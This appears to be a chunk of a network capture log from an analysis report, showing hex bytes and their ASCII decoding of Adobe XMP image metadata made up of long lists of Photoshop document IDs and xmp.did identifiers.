3a 70 68 6f 74 6f 73 68 6f 70 3a 36 37 37 35 37 61 62 37 2d 30 62 66 31 2d 31 31 37 39 2d 38 37 61 38 2d 61 65 35 35 
66 30 34 31 35 31 66 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 36 38 30 34 34 37 37 35 2d 33 64 33 35 2d 31 31 65 37 2d 61 66 62 66 2d 61 33 66 61 35 36 61 
64 33 62 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 36 38 31 63 34 36 63 39 2d 63 66 65 31 2d 31 31 
Data Ascii: :photoshop:673501a6-db93-11e7-8016-9cfc756a4798</rdf:li> <rdf:li>adobe:docid:photoshop:67757ab7-0bf1-
1179-87a8-ae55f04151fe</rdf:li> <rdf:li>adobe:docid:photoshop:68044775-3d35-11e7-afbf-a3fa56ad3beb</rdf:li> <rdf:li>a
dobe:docid:photoshop:681c46c9-cfe1-11

2022-08-11 03:42:55 UTC 5070 IN Data Raw: 35 66 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 
74 6f 73 68 6f 70 3a 39 37 63 33 62 37 32 64 2d 34 64 62 32 2d 31 31 64 39 2d 39 30 30 30 2d 63 36 63 66 30 32 31 36 
61 61 32 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 
68 6f 70 3a 39 37 64 65 30 34 30 31 2d 66 63 34 34 2d 31 31 37 38 2d 39 34 36 63 2d 61 62 32 31 38 64 35 62 38 64 63 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
3a 39 38 35 39 65 39 39 32 2d 37 32 33 61 2d 31 31 37 61 2d 38 66 32 34 2d 38 66 35 39 32 38 63 35 61 33 62 62 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 
Data Ascii: 5f2</rdf:li> <rdf:li>adobe:docid:photoshop:97c3b72d-4db2-11d9-9000-c6cf0216aa2e</rdf:li> <rdf:li>a
dobe:docid:photoshop:97de0401-fc44-1178-946c-ab218d5b8dc7</rdf:li> <rdf:li>adobe:docid:photoshop:9859e992-723a-
117a-8f24-8f5928c5a3bb</rdf:li> <rdf:li>adobe:

2022-08-11 03:42:55 UTC 5086 IN Data Raw: 70 3a 63 62 63 30 34 34 39 63 2d 62 36 64 34 2d 31 31 64 61 2d 61 66 34 37 2d 64 37 66 61 63 30 31 32 32 
62 63 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 63 62 63 62 35 36 61 37 2d 62 32 33 35 2d 31 31 65 35 2d 61 34 64 32 2d 39 62 66 36 63 64 33 65 34 39 64 39 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 
63 63 61 37 38 66 32 34 2d 30 64 31 66 2d 31 31 65 38 2d 62 65 34 65 2d 38 65 35 36 31 30 39 64 31 63 30 63 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 64 32 
66 38 61 30 30 2d 39 39 34 64 2d 31 31 64 39 2d 38 31 37 64 2d 66 
Data Ascii: p:cbc0449c-b6d4-11da-af47-d7fac0122bc4</rdf:li> <rdf:li>adobe:docid:photoshop:cbcb56a7-b235-11e5-a4d2-
9bf6cd3e49d9</rdf:li> <rdf:li>adobe:docid:photoshop:cca78f24-0d1f-11e8-be4e-8e56109d1c0c</rdf:li> <rdf:li>adobe:doci
d:photoshop:cd2f8a00-994d-11d9-817d-f

2022-08-11 03:42:55 UTC 5094 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 36 62 37 31 66 
65 30 2d 34 38 36 37 2d 31 31 65 36 2d 61 36 66 34 2d 64 30 65 62 34 34 35 61 30 31 30 35 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 36 64 64 63 34 34 33 2d 
30 34 33 34 2d 31 31 65 30 2d 61 39 66 65 2d 65 62 38 62 34 62 30 32 37 64 61 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 37 31 37 66 34 31 66 2d 39 37 38 
33 2d 31 31 65 36 2d 39 61 63 61 2d 64 62 62 65 32 35 35 64 32 35 32 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
Data Ascii: <rdf:li>adobe:docid:photoshop:e6b71fe0-4867-11e6-a6f4-d0eb445a0105</rdf:li> <rdf:li>adobe:docid:ph
otoshop:e6ddc443-0434-11e0-a9fe-eb8b4b027da3</rdf:li> <rdf:li>adobe:docid:photoshop:e717f41f-9783-11e6-9aca-db
be255d252e</rdf:li> <rdf:li>adobe:docid:photosh

2022-08-11 03:42:55 UTC 5110 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 42 45 37 30 37 37 41 36 31 45 45 44 46 31 31 41 35 41 31 38 
44 31 35 31 42 30 31 41 39 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 43 33 38 46 
32 38 34 43 39 46 41 44 46 31 31 39 46 34 38 44 39 43 32 42 46 43 33 46 39 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 75 75 69 64 3a 31 43 34 39 45 45 33 42 32 44 33 37 45 31 31 31 39 46 35 31 43 33 42 37 30 46 32 37 
31 31 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 43 36 42 31 45 32 30 33 37 37 34 
45 30 31 31 39 37 32 33 43 33 33 33 33 43 30 42 35 33 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 
75 69 64 3a 31 43 41 35 30 43 31 45 34 44 44 36 31 31 44 45 39 46 34 31 42 
Data Ascii:  <rdf:li>uuid:1BE7077A61EEDF11A5A18D151B01A9BE</rdf:li> <rdf:li>uuid:1C38F284C9FADF119F4
8D9C2BFC3F9BD</rdf:li> <rdf:li>uuid:1C49EE3B2D37E1119F51C3B70F27112D</rdf:li> <rdf:li>uuid:1C6B1E203
774E0119723C3333C0B5366</rdf:li> <rdf:li>uuid:1CA50C1E4DD611DE9F41B

2022-08-11 03:42:55 UTC 5130 IN Data Raw: 32 30 35 33 41 43 43 43 36 43 44 46 31 31 41 34 36 46 39 39 42 31 31 43 34 39 39 35 32 37 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 39 33 36 32 31 31 38 32 41 39 44 44 44 31 31 41 32 37 39 41 
31 41 30 34 46 35 35 39 44 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 39 36 39 34 3
5 45 38 34 33 35 42 45 31 31 31 38 32 42 31 45 30 38 30 44 33 39 42 36 45 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 32 39 37 43 34 35 46 33 33 31 41 33 45 30 31 31 42 42 35 42 43 37 35 31 34 35 46 37 
38 34 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 39 37 45 31 34 39 39 38 44 37 42 
45 30 31 31 38 41 46 35 45 30 34 37 38 38 31 45 45 38 44 36 3c 2f 72 64 66 
Data Ascii: 2053ACCC6CDF11A46F99B11C499527</rdf:li> <rdf:li>uuid:293621182A9DDD11A279A1A04F559DDE</r
df:li> <rdf:li>uuid:296945E8435BE11182B1E080D39B6EEB</rdf:li> <rdf:li>uuid:297C45F331A3E011BB5BC7514
5F784BD</rdf:li> <rdf:li>uuid:297E14998D7BE0118AF5E047881EE8D6</rdf

2022-08-11 03:42:55 UTC 6248 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 44 35 35 35 39 46 46 30 42 45 41 44 44 31 
31 42 32 32 31 41 30 30 45 42 44 39 39 41 38 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 
3a 35 44 37 38 34 42 43 39 45 36 31 46 45 30 31 31 39 31 35 34 42 34 42 41 42 30 38 35 46 43 35 32 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 44 44 36 46 30 32 44 35 32 35 36 44 43 31 31 38 45 42 33 38 36 
31 31 42 32 36 46 43 33 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 45 30 44 30 43 
39 39 45 30 44 33 44 46 31 31 42 32 42 42 42 43 34 30 43 42 45 30 45 43 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 75 75 69 64 3a 35 45 39 34 37 38 38 36 32 34 33 31 45 30 31 
Data Ascii: df:li> <rdf:li>uuid:5D5559FF0BEADD11B221A00EBD99A8D2</rdf:li> <rdf:li>uuid:5D784BC9E61FE
0119154B4BAB085FC52</rdf:li> <rdf:li>uuid:5DD6F02D5256DC118EB38611B26FC35B</rdf:li> <rdf:li>uuid:5E0
D0C99E0D3DF11B2BBBC40CBE0ECBB</rdf:li> <rdf:li>uuid:5E9478862431E01
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2022-08-11 03:42:55 UTC 6264 IN Data Raw: 38 45 31 42 46 37 41 39 45 34 31 31 41 33 43 46 41 46 39 41 45 43 39 42 34 42 35 39 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 31 30 38 46 44 31 46 39 46 37 31 44 43 31 31 42 42 37 37 46 41 31 39 
41 33 39 31 36 37 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 31 34 36 46 44 39 38 
30 31 37 42 31 31 44 44 39 44 32 30 46 42 37 32 37 45 31 42 46 37 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 75 75 69 64 3a 39 31 36 44 37 44 41 31 46 38 41 34 44 45 31 31 41 31 31 45 42 36 31 43 38 46 46 42 36 37 36 
43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 31 37 33 42 44 34 45 42 31 34 35 44 46 31 
31 42 35 34 34 43 41 38 45 43 43 31 31 38 31 33 38 3c 2f 72 64 66 3a 6c 
Data Ascii: 8E1BF7A9E411A3CFAF9AEC9B4B59</rdf:li> <rdf:li>uuid:9108FD1F9F71DC11BB77FA19A391671F</rdf:li> 
<rdf:li>uuid:9146FD98017B11DD9D20FB727E1BF781</rdf:li> <rdf:li>uuid:916D7DA1F8A4DE11A11EB61C8FF
B676C</rdf:li> <rdf:li>uuid:9173BD4EB145DF11B544CA8ECC118138</rdf:l

2022-08-11 03:42:55 UTC 6271 IN Data Raw: 43 30 31 31 44 43 41 34 41 39 43 43 34 41 45 34 46 30 30 41 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 75 75 69 64 3a 41 41 30 41 42 35 45 43 42 37 32 43 44 37 31 31 42 42 31 39 38 37 43 39 44 30 33 35 39 34 
38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 41 32 31 33 46 44 43 33 44 31 35 31 31 
44 43 42 31 37 30 44 36 30 36 43 38 41 46 44 34 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 6
4 3a 41 41 33 31 43 35 34 36 30 41 34 46 44 46 31 31 38 36 31 36 45 31 39 31 33 45 31 34 44 30 43 30 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 41 33 43 44 33 45 39 33 41 38 44 45 30 31 31 41 36 39 39 46 
43 34 36 43 46 31 35 32 32 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: C011DCA4A9CC4AE4F00A67</rdf:li> <rdf:li>uuid:AA0AB5ECB72CD711BB1987C9D035948F</rdf:li> <
rdf:li>uuid:AA213FDC3D1511DCB170D606C8AFD490</rdf:li> <rdf:li>uuid:AA31C5460A4FDF118616E1913E14D0C0<
/rdf:li> <rdf:li>uuid:AA3CD3E93A8DE011A699FC46CF152231</rdf:li> <rd

2022-08-11 03:42:55 UTC 6287 IN Data Raw: 39 43 30 33 33 42 43 44 42 45 30 31 31 41 39 42 32 38 45 44 39 44 46 43 41 41 46 31 33 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 37 30 36 36 33 35 30 39 35 38 45 44 42 31 31 42 43 35 30 45 41 39 
35 42 34 31 43 41 41 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 37 32 41 39 43 46 
43 37 44 42 38 31 31 44 42 42 30 32 44 46 32 41 35 45 30 44 39 32 44 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 75 75 69 64 3a 45 37 36 35 44 45 43 45 31 31 45 34 44 44 31 31 41 32 34 42 42 32 46 43 37 32 39 44 33 39 
37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 37 41 35 33 38 35 32 39 43 32 31 45 30 
31 31 41 35 38 35 41 43 32 41 37 42 41 37 37 32 38 31 3c 2f 72 64 66 3a 
Data Ascii: 9C033BCDBE011A9B28ED9DFCAAF13</rdf:li> <rdf:li>uuid:E7066350958EDB11BC50EA95B41CAA35</rd
f:li> <rdf:li>uuid:E72A9CFC7DB811DBB02DF2A5E0D92D76</rdf:li> <rdf:li>uuid:E765DECE11E4DD11A24BB2FC72
9D397E</rdf:li> <rdf:li>uuid:E7A538529C21E011A585AC2A7BA77281</rdf:

2022-08-11 03:42:55 UTC 6303 IN Data Raw: 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 44 38 35 41 43 42 46 46 34 30 46 30 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 41 
34 32 41 37 45 32 46 31 45 43 45 35 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 43 43 36 43 44 46 38 41 31 39 36 36 37 46 45 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 33 39 35 
44 34 32 35 46 35 43 41 39 46 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 
31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 
Data Ascii: 80117407206811994CD85ACBFF40F0</rdf:li> <rdf:li>xmp.did:01801174072068119A42A7E2F1ECE585
</rdf:li> <rdf:li>xmp.did:01801174072068119CC6CDF8A19667FE</rdf:li> <rdf:li>xmp.did:0180117407206811
A395D425F5CA9F96</rdf:li> <rdf:li>xmp.did:0180117407206811A613DB269

2022-08-11 03:42:55 UTC 6311 IN Data Raw: 78 6d 70 2e 64 69 64 3a 30 32 42 43 45 33 34 38 30 46 32 30 36 38 31 31 38 41 36 44 44 35 39 43 30 38 34 
43 38 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 43 37 45 31 44 34 
42 30 43 36 45 30 31 31 39 44 33 35 42 38 35 42 37 45 32 45 39 45 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 45 37 32 41 43 36 30 38 32 30 36 38 31 31 41 39 37 42 38 30 32 32 32 45 33 31 
32 30 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 46 44 31 43 41 36 30 
37 32 30 36 38 31 31 39 32 42 30 44 45 36 45 32 32 44 33 34 44 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 30 32 65 35 34 64 32 36 2d 30 36 65 65 2d 34 
Data Ascii: xmp.did:02BCE3480F2068118A6DD59C084C826C</rdf:li> <rdf:li>xmp.did:02C7E1D4B0C6E0119D35B8
5B7E2E9EE3</rdf:li> <rdf:li>xmp.did:02E72AC608206811A97B80222E312031</rdf:li> <rdf:li>xmp.did:02FD1C
A60720681192B0DE6E22D34D0A</rdf:li> <rdf:li>xmp.did:02e54d26-06ee-4

2022-08-11 03:42:55 UTC 6327 IN Data Raw: 70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 
37 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 
32 30 36 38 31 31 39 32 45 37 41 36 41 32 38 31 42 31 32 35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 35 46 45 44 38 42 44 46 38 34 31 43 37 
37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 
30 36 38 31 31 39 37 41 35 46 31 39 39 37 36 30 34 35 45 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 
Data Ascii: p.did:078011740720681192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did:078011740720681192E7A6A2
81B12522</rdf:li> <rdf:li>xmp.did:078011740720681195FED8BDF841C77D</rdf:li> <rdf:li>xmp.did:07801174
0720681197A5F19976045E47</rdf:li> <rdf:li>xmp.did:07801174072068119

2022-08-11 03:42:55 UTC 6331 IN Data Raw: 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 
37 32 30 36 38 31 31 41 42 30 38 45 36 46 39 33 33 35 30 32 34 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 30 35 31 42 39 35 31 31 46 43 41 44 
41 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 3
2 30 36 38 31 31 42 33 34 42 45 43 44 42 43 36 37 32 37 35 45 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 39 32 37 41 42 43 45 39 41 45 32 45 44 33 
46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: 5</rdf:li> <rdf:li>xmp.did:0880117407206811AB08E6F9335024B2</rdf:li> <rdf:li>xmp.did:0880117407206
811B051B9511FCADA55</rdf:li> <rdf:li>xmp.did:0880117407206811B34BECDBC67275E0</rdf:li> <rdf:li>xmp.d
id:0880117407206811B927ABCE9AE2ED3F</rdf:li> <rdf:li>xmp.

2022-08-11 03:42:55 UTC 6347 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 46 34 30 37 30 44 42 31 32 31 36 38 31 31 38 46 
36 32 41 30 46 44 44 38 46 41 33 37 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 31 35 61 38 64 32 62 61 2d 61 37 36 38 2d 34 36 61 31 2d 61 31 64 61 2d 62 30 35 63 33 33 34 62 35 63 33 64 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 64 38 36 63 66 62 2d 63 65 33 64 2d 34 
32 30 35 2d 61 61 63 31 2d 36 63 38 61 35 36 38 64 61 39 65 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 31 36 32 41 32 37 45 34 43 44 46 31 45 31 31 31 42 39 45 33 41 36 37 31 44 31 43 46 43 33 44 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
Data Ascii:  <rdf:li>xmp.did:15F4070DB12168118F62A0FDD8FA37F2</rdf:li> <rdf:li>xmp.did:15a8d2ba-a768-46a1-a1da-
b05c334b5c3d</rdf:li> <rdf:li>xmp.did:15d86cfb-ce3d-4205-aac1-6c8a568da9ea</rdf:li> <rdf:li>xmp.did:162A27E4C
DF1E111B9E3A671D1CFC3D6</rdf:li> <rdf:li>xmp.di
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2022-08-11 03:42:55 UTC 6363 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 66 32 38 33 33 61 2d 31 61 38 34 2d 34 65 37 34 2d 62 34 36 
61 2d 36 66 32 32 64 31 30 36 33 65 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 32 36 31 33 30 30 35 31 31 39 32 30 36 38 31 31 41 43 41 46 42 43 30 30 31 34 41 37 35 32 34 46 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 33 37 31 43 45 35 41 36 32 32 36 38 31 31 38 32 32 
41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
32 36 33 39 32 44 37 34 36 31 33 32 31 31 45 31 42 45 37 44 42 44 31 42 41 45 42 44 41 44 46 39 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 33 44 36 33 
Data Ascii: f:li>xmp.did:25f2833a-1a84-4e74-b46a-6f22d1063e42</rdf:li> <rdf:li>xmp.did:2613005119206811ACAFBC0
014A7524F</rdf:li> <rdf:li>xmp.did:26371CE5A6226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:26392D7
4613211E1BE7DBD1BAEBDADF9</rdf:li> <rdf:li>xmp.did:263D63

2022-08-11 03:42:55 UTC 6371 IN Data Raw: 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 41 38 41 31 36 
33 31 34 32 30 36 38 31 31 38 43 31 34 41 38 34 38 39 42 43 31 32 45 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 45 34 42 33 46 32 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 
35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 30 33 31 38 37 38 3
0 43 32 30 36 38 31 31 39 39 34 43 39 43 36 35 38 41 30 44 36 45 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 32 46 32 35 44 38 36 36 32 30 36 36 31 31 45 30 39 39 31 41 41 44 44 32 32 33 43 33 31 
30 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
Data Ascii: 581</rdf:li> <rdf:li>xmp.did:2EA8A163142068118C14A8489BC12E1D</rdf:li> <rdf:li>xmp.did:2EE4B3F2FD9
DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2F0318780C206811994C9C658A0D6E3E</rdf:li> <rdf:li>xmp
.did:2F25D866206611E0991AADD223C31085</rdf:li> <rdf:li>xm

2022-08-11 03:42:55 UTC 6387 IN Data Raw: 46 45 43 32 30 36 38 31 31 38 43 31 34 45 43 36 39 39 31 34 43 38 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 34 33 37 43 36 45 41 43 32 30 36 38 31 31 41 42 30 38 45 36 42 36 
30 42 43 41 34 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 34 33 42 
42 46 43 38 44 33 44 45 30 31 31 41 32 39 34 44 33 42 42 33 43 31 42 42 31 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 34 37 33 44 31 31 46 39 32 34 36 38 31 31 39 39 34 43 41 30 45 36 41 
42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 37 32 35 41 
32 30 44 42 31 45 31 31 45 30 39 33 36 44 43 38 32 38 45 41 38 37 45 42 
Data Ascii: FEC2068118C14EC69914C8563</rdf:li> <rdf:li>xmp.did:3C437C6EAC206811AB08E6B60BCA4EAA</rdf:li> 
<rdf:li>xmp.did:3C43BBFC8D3DE011A294D3BB3C1BB118</rdf:li> <rdf:li>xmp.did:3C473D11F9246811994CA
0E6AB1C1578</rdf:li> <rdf:li>xmp.did:3C725A20DB1E11E0936DC828EA87EB

2022-08-11 03:42:55 UTC 6403 IN Data Raw: 30 44 44 42 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 37 44 
41 32 39 30 31 30 35 44 31 31 45 30 38 39 30 43 44 38 38 39 43 30 39 45 45 44 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 38 44 30 31 43 38 35 30 43 36 45 33 31 31 41 43 30 34 42 30 36 30 
45 30 35 42 39 36 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 38 46 37 4
2 36 46 30 38 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 39 45 39 45 35 35 38 46 31 39 44 46 31 31 41 46 33 42 44 41 30 35 45 
31 43 41 35 33 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 0DDB63</rdf:li> <rdf:li>xmp.did:4A7DA290105D11E0890CD889C09EED57</rdf:li> <rdf:li>xmp.did:4A8D01C8
50C6E311AC04B060E05B9624</rdf:li> <rdf:li>xmp.did:4A8F7B6F08206811B4BCC2A8EBC78135</rdf:li> <rdf:li>
xmp.did:4A9E9E558F19DF11AF3BDA05E1CA53BD</rdf:li> <rdf:li

2022-08-11 03:42:55 UTC 6411 IN Data Raw: 36 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 64 30 35 61 35 37 
